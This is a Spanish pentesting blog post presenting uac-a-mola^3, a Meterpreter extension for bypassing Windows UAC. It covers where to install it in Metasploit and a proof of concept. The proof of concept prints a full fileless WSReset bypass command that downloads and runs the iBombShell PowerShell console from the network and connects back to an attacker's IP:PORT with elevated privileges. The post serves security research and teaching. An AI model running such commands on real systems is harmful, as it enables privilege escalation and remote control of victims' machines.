domingo, octubre 20, 2019

UAC-a-mola^3: Evolucionando hacia el Meterpreter #pentest #pentesting

En la pasada RootedCON de Valencia, mi compañero Pablo González volvió a sacar uac-a-mola a pasear, el proyecto que empezó en el 2017 en nuestro equipo de Ideas Locas, y que en está ocasión mostró varias formas de usar la herramienta.

Figura 1: UAC-a-mola^3: Evolucionando hacia el Meterpreter #pentest #pentesting

En este artículo de hoy vengo a hablar de uac-a-mola^3, una versión ‘ligera’ para el Meterpreter de Python, cuyo código ya se encuentra disponible en el repositorio de Eleven Paths en GitHub, dentro de la carpeta uac-a-mola^3. Una herramienta que nosotros utilizamos en todos nuestros proyectos de Ethical Hacking.

Figura 2: Libro de Ethical Hacking de Pablo González

Voy a contar cómo introducir los códigos en nuestra instalación de Metasploit, cómo funciona y finalmente una prueba de concepto. ¡Empecemos!

Cómo agregar el código al proyecto Metasploit

La extensión para el Meterpreter necesita varios ficheros de código, y cada uno se dirige a una carpeta distinta, dentro del GitHub se puede ver, además el código ya está distribuido siguiendo las necesidades, las rutas son las siguientes:
 • El “despachador de comandos” se tiene que situar en la siguiente ruta: 
/opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console/command_dispatcher 
• La extensión del meterpreter en la parte del atacante, se debe situar en la ruta: 
/opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/extensions 
• Y por último el código de la extensión que se va a ejecutar en el objetivo: 
/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/metasploit-payloads-1.3.70/data/meterpreter/
Las rutas están basadas en una instalación de Metasploit V5 en Ubuntu, según futuras actualizaciones, las rutas pueden variar ligeramente. Por ejemplo la carpeta 2.5.0 puede pasar a ser 2.6.0, etcétera.

Cómo funciona uac-a-mola^3

Cuando nosotros recibimos una sesión del Meterpreter, tenemos que cargar el código de la extensión en memoria con el comando:
load uacamola
En ese momento podremos iniciar la extensión con el comando:
start_uacamola
Y ya se nos facilitará un nuevo prompt con el que trabajar. El flujo de los comandos será el siguiente: que describo. El código de la carpeta command_dispatcher recibe el comando a ejecutar por parte del usuario, y se lo pasa a la extensión de Ruby (carpeta extensions) que se encargará de encapsular el paquete y enviarlo a la extensión de Python, ya en la máquina víctima, donde se ejecutará, y cuyo resultado se empaquetará y será devuelto a la extensión de Ruby, de nuevo en la máquina del atacante (salvo los comandos help y exit que no saldrán de la máquina del atacante, al ser locales).

Figura 3: Gráfico a alto nivel de las partes de uac-a-mola^3

Un flujo que es bastante fácil de entender, ya que no va más allá de un cliente/servidor clásico utilizado en muchos de los sistemas de C&C.

Uac-a-mola^3 PoC

Llega la hora de probar la extensión, partimos de tener una sesión de Meterpreter activa, y pasamos a cargar la extensión y usar el comando de ayuda. Recuerda usar el autocompletado para ayudarte.

Figura 4: Carga de uacamola y ayuda

La primera prueba es ejecutar autoelevate_search, que recibirá una ruta, de la cuál devolverá un listado con el nombre de los binarios que tengan el atributo AutoElevate.

Figura 5: Resultado de autoelevate_search

Por último, voy a mostrar una prueba de concepto que va a involucrar también a otra de nuestras herramientas, iBombShell. En esta ocasión, haré uso del bypass UAC de tipo fileless a través del binario WSReset, basta con ejecutar el comando con la instrucción que quieres que corra en el equipo víctima, en este ejemplo:
fileless_wsreset c:\windows\system32\windowspowershell\\v1.0\powershell.exe -C "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console');console -Silently -uriConsole http://IP:PORT"
Y en la consola de iBombShell, aparece un Warrior con altos privilegios (el símbolo * es el indicador).

Figura 6: Obteniendo el "admin" Warrior en iBombShell

La prueba de concepto se puede ver en el siguiente vídeo que hemos grabado, que se entenderá mejor en solo un minuto y algo.

Figura 7: video PoC uac-a-mola^3

Como podéis ver, es una forma de usar uac-a-mola desde un equipo remoto, y facilitar así el hacer distintos bypass de UAC a través de Meterpreter. Eso es todo por hoy, pero os dejo aquí todas las referencias sobre UAC-A-Mola y UAC en Windows que ya hemos escrito bastante sobre este proyecto:

- [GitHub] UAC-a-mola
- [WhitePaper] UAC Bypass & Research with UAC-A-Mola
- [BlogPost] UAC: Control de Cuentas de Usuario en Windows
- [BlogPost] 2017, el año que bypasseamos UAC peligrosamente
- [BlogPost] UAC-A-Mola: Framework para Investigar Bypasses de UAC
- [BlogPost] UAC-A-Mola ya lo infirió
- [BlogPost] Cómo construir un modulo para UAC-A-Mola Framework
- [BlogPost] Windows 10: ByPass de UAC en con WSREST en UAC-A-Mola
- [BlogPost] UAC-A-Mola^2 Evolution
- [BlogPost] BlackHat Arsenal Tools for Research: UAC-A-Mola
- [Libro] Máxima Seguridad en Windows
- [Libro] Pentesting con PowerShell

Autor: Josué Encinar García (@JosueEncinar), autor del blog BoomerNiX y Security Researcher en ElevenPaths y en el equipo de Ideas Locas de la unidad CDO de Telefónica.

No hay comentarios:

Entrada destacada

Programa de Especialización "Inteligencia Artificial para Expertos en Ciberseguridad" 2ª Edición.

Hoy, en medio del verano, os traigo información de la 2ª Edición del   Programa de Especialización  de "Inteligencia Artificial para Ex...

Entradas populares